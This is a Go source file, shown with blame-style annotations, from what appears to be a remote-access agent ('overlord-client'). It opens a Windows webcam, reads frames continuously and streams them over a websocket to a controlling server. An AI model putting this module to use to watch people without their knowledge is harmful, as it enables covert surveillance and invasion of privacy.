2026-03-09 01:09:51 -05:00
|
|
|
//go:build windows && cgo
|
2026-03-08 22:31:11 -05:00
|
|
|
|
|
|
|
|
package capture
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"fmt"
|
|
|
|
|
"log"
|
|
|
|
|
"sync"
|
|
|
|
|
"time"
|
|
|
|
|
|
|
|
|
|
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
|
|
|
|
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
|
|
|
|
|
|
|
|
|
|
rt "overlord-client/cmd/agent/runtime"
|
|
|
|
|
"overlord-client/cmd/agent/wire"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type webcamState struct {
|
|
|
|
|
deviceIndex int
|
|
|
|
|
device *cam.Device
|
|
|
|
|
capture *cam.CaptureSync
|
|
|
|
|
format string
|
|
|
|
|
captureFPS float64
|
2026-03-13 09:28:16 -05:00
|
|
|
|
|
|
|
|
latestMu sync.Mutex
|
|
|
|
|
latestBytes []byte
|
|
|
|
|
|
|
|
|
|
stopCh chan struct{}
|
|
|
|
|
readerDone chan struct{}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (s *webcamState) startReader() {
|
|
|
|
|
go func() {
|
|
|
|
|
defer close(s.readerDone)
|
|
|
|
|
for {
|
|
|
|
|
select {
|
|
|
|
|
case <-s.stopCh:
|
|
|
|
|
return
|
|
|
|
|
default:
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
sample, err := s.capture.GetFrame()
|
|
|
|
|
if err != nil {
|
|
|
|
|
select {
|
|
|
|
|
case <-s.stopCh:
|
|
|
|
|
return
|
|
|
|
|
default:
|
|
|
|
|
time.Sleep(20 * time.Millisecond)
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if sample == nil || sample.PpSample == nil {
|
|
|
|
|
if sample != nil {
|
|
|
|
|
sample.Release()
|
|
|
|
|
}
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
buffer, err := s.capture.Device.ParseSampleToBuffer(sample.PpSample)
|
|
|
|
|
if err != nil {
|
|
|
|
|
sample.Release()
|
|
|
|
|
select {
|
|
|
|
|
case <-s.stopCh:
|
|
|
|
|
return
|
|
|
|
|
default:
|
|
|
|
|
time.Sleep(20 * time.Millisecond)
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
if buffer == nil {
|
|
|
|
|
sample.Release()
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
frameBytes := make([]byte, int(buffer.Length))
|
|
|
|
|
copy(frameBytes, buffer.Buffer[:buffer.Length])
|
|
|
|
|
buffer.Release()
|
|
|
|
|
sample.Release()
|
|
|
|
|
|
|
|
|
|
s.latestMu.Lock()
|
|
|
|
|
s.latestBytes = frameBytes
|
|
|
|
|
s.latestMu.Unlock()
|
|
|
|
|
}
|
|
|
|
|
}()
|
2026-03-08 22:31:11 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
var (
|
|
|
|
|
webcamMu sync.Mutex
|
|
|
|
|
webcamInitDone bool
|
|
|
|
|
webcamActive *webcamState
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func NowWebcam(ctx context.Context, env *rt.Env) error {
|
|
|
|
|
if ctx.Err() != nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-13 09:28:16 -05:00
|
|
|
_, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
|
2026-03-08 22:31:11 -05:00
|
|
|
if err != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-13 09:28:16 -05:00
|
|
|
webcamMu.Lock()
|
|
|
|
|
state := webcamActive
|
|
|
|
|
webcamMu.Unlock()
|
|
|
|
|
|
|
|
|
|
if state == nil {
|
2026-03-08 22:31:11 -05:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-13 09:28:16 -05:00
|
|
|
state.latestMu.Lock()
|
|
|
|
|
frameBytes := state.latestBytes
|
|
|
|
|
state.latestMu.Unlock()
|
|
|
|
|
|
|
|
|
|
if frameBytes == nil {
|
2026-03-08 22:31:11 -05:00
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
frame := wire.Frame{
|
|
|
|
|
Type: "frame",
|
|
|
|
|
Header: wire.FrameHeader{
|
|
|
|
|
Monitor: deviceIndex,
|
|
|
|
|
FPS: 0,
|
|
|
|
|
Format: format,
|
|
|
|
|
Webcam: true,
|
|
|
|
|
},
|
|
|
|
|
Data: frameBytes,
|
|
|
|
|
}
|
|
|
|
|
if ctx.Err() != nil {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
// Do not use the stream-cancel context for socket writes; canceling an in-flight
|
|
|
|
|
// write during webcam_stop can tear down the whole websocket on some transports.
|
|
|
|
|
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
|
|
|
|
defer cancel()
|
|
|
|
|
return wire.WriteMsg(writeCtx, env.Conn, frame)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func CleanupWebcam() {
|
|
|
|
|
webcamMu.Lock()
|
|
|
|
|
closeWebcamLocked()
|
|
|
|
|
webcamMu.Unlock()
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
|
|
|
|
|
webcamMu.Lock()
|
|
|
|
|
defer webcamMu.Unlock()
|
|
|
|
|
|
|
|
|
|
if requestedIndex < 0 {
|
|
|
|
|
requestedIndex = 0
|
|
|
|
|
}
|
|
|
|
|
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
|
|
|
|
|
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
closeWebcamLocked()
|
|
|
|
|
|
|
|
|
|
if !webcamInitDone {
|
|
|
|
|
if err := cam.Init(); err != nil {
|
|
|
|
|
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
|
|
|
|
|
}
|
|
|
|
|
webcamInitDone = true
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
devices, err := cam.EnumDevice()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
|
|
|
|
|
}
|
|
|
|
|
if len(devices) == 0 {
|
|
|
|
|
return nil, 0, "", fmt.Errorf("no webcam devices detected")
|
|
|
|
|
}
|
|
|
|
|
if requestedIndex >= len(devices) {
|
|
|
|
|
requestedIndex = 0
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
deviceInfo := devices[requestedIndex]
|
|
|
|
|
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
formats, err := device.EnumerateCaptureFormats()
|
|
|
|
|
if err != nil {
|
|
|
|
|
device.CloseDevice()
|
|
|
|
|
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
|
|
|
|
|
}
|
|
|
|
|
if len(formats) == 0 {
|
|
|
|
|
device.CloseDevice()
|
|
|
|
|
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
|
|
|
|
|
}
|
|
|
|
|
selected, selectedFormat := selectWebcamFormat(formats)
|
|
|
|
|
if selected == nil {
|
|
|
|
|
device.CloseDevice()
|
|
|
|
|
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
|
|
|
|
|
}
|
|
|
|
|
capture, err := device.StartCapture(selected)
|
|
|
|
|
if err != nil {
|
|
|
|
|
device.CloseDevice()
|
|
|
|
|
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
webcamActive = &webcamState{
|
|
|
|
|
deviceIndex: requestedIndex,
|
|
|
|
|
device: device,
|
|
|
|
|
capture: capture,
|
|
|
|
|
format: selectedFormat,
|
|
|
|
|
captureFPS: selected.Fps,
|
2026-03-13 09:28:16 -05:00
|
|
|
stopCh: make(chan struct{}),
|
|
|
|
|
readerDone: make(chan struct{}),
|
2026-03-08 22:31:11 -05:00
|
|
|
}
|
2026-03-13 09:28:16 -05:00
|
|
|
webcamActive.startReader()
|
2026-03-08 22:31:11 -05:00
|
|
|
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
|
|
|
|
|
return capture, requestedIndex, selectedFormat, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
|
|
|
|
|
var best *cam.CaptureFormats
|
|
|
|
|
bestScore := -1.0
|
|
|
|
|
bestFormat := ""
|
|
|
|
|
for _, format := range formats {
|
|
|
|
|
streamFormat := ""
|
|
|
|
|
if isJPEGSubtype(format) {
|
|
|
|
|
streamFormat = "jpeg"
|
|
|
|
|
} else if isH264Subtype(format) {
|
|
|
|
|
streamFormat = "h264"
|
|
|
|
|
}
|
|
|
|
|
if streamFormat == "" {
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
score := formatScore(format)
|
|
|
|
|
if streamFormat == "jpeg" {
|
|
|
|
|
score += 100_000_000
|
|
|
|
|
}
|
|
|
|
|
if streamFormat == "h264" && !format.IsCompressedFormat {
|
|
|
|
|
// Prefer compressed H264 camera output where available.
|
|
|
|
|
score -= 10_000_000
|
|
|
|
|
}
|
|
|
|
|
if score > bestScore {
|
|
|
|
|
best = format
|
|
|
|
|
bestScore = score
|
|
|
|
|
bestFormat = streamFormat
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return best, bestFormat
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func isJPEGSubtype(format *cam.CaptureFormats) bool {
|
|
|
|
|
if format == nil || format.SubType == nil {
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
|
|
|
|
|
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func isH264Subtype(format *cam.CaptureFormats) bool {
|
|
|
|
|
if format == nil || format.SubType == nil {
|
|
|
|
|
return false
|
|
|
|
|
}
|
|
|
|
|
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func formatScore(format *cam.CaptureFormats) float64 {
|
|
|
|
|
if format == nil {
|
|
|
|
|
return -1
|
|
|
|
|
}
|
|
|
|
|
score := float64(format.Width*format.Height) + format.Fps*1000
|
|
|
|
|
if format.IsCompressedFormat {
|
|
|
|
|
score += 5_000_000
|
|
|
|
|
}
|
|
|
|
|
if isJPEGSubtype(format) {
|
|
|
|
|
score += 10_000_000
|
|
|
|
|
}
|
|
|
|
|
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
|
|
|
|
|
score += 1_000_000
|
|
|
|
|
}
|
|
|
|
|
return score
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func resetWebcamState() {
|
|
|
|
|
webcamMu.Lock()
|
|
|
|
|
defer webcamMu.Unlock()
|
2026-03-13 09:28:16 -05:00
|
|
|
closeWebcamLocked()
|
2026-03-08 22:31:11 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func closeWebcamLocked() {
|
|
|
|
|
if webcamActive != nil {
|
2026-03-13 09:28:16 -05:00
|
|
|
close(webcamActive.stopCh)
|
2026-03-08 22:31:11 -05:00
|
|
|
webcamActive.device.CloseDevice()
|
2026-03-13 09:28:16 -05:00
|
|
|
readerDone := webcamActive.readerDone
|
2026-03-08 22:31:11 -05:00
|
|
|
webcamActive = nil
|
2026-03-13 09:28:16 -05:00
|
|
|
|
|
|
|
|
select {
|
|
|
|
|
case <-readerDone:
|
|
|
|
|
case <-time.After(500 * time.Millisecond):
|
|
|
|
|
}
|
2026-03-08 22:31:11 -05:00
|
|
|
}
|
|
|
|
|
}
|